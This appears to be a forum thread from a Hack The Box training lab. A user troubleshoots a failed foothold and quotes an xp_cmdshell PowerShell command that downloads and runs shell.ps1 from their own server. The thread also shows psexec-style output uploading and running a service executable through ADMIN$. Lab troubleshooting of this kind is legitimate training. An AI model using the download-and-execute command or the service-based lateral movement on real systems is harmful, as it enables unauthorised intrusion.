I am in the foothold step of starting point and get an error:
“Unable to connect to the remote server”
This is when I am trying to run the command on the 10.10.10.27 box xp_cmdshell "powershell “IEX (New-Object Net.WebClient).DownloadString("hxxp://10.10.14.3/shell.ps1");”
I have been trying to figure it out but just stuck at this point. I can access the http server locally from my machine and see the shell.ps1 file in the directory but just unable to get this connection.
I ran the ufw commands and it shows the Rules updated, not sure if there might be a config that needs to be changed on the router to allow this through or not.
I solved mine , @turboedbird when you run the powershell command you have to enter your ip address which you can find with sudo ifconfig and specify port 80 for example x.x.x.x:80 .
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file UndBnlSC.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service hFWB on 10.10.10.27.....
[*] Starting service hFWB.....
[!] Press help for extra shell commands
[*] Process finished with ErrorCode: 1, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.27.....
[*] Stoping service hFWB.....
[*] Removing service hFWB.....
[*] Removing file UndBnlSC.exe..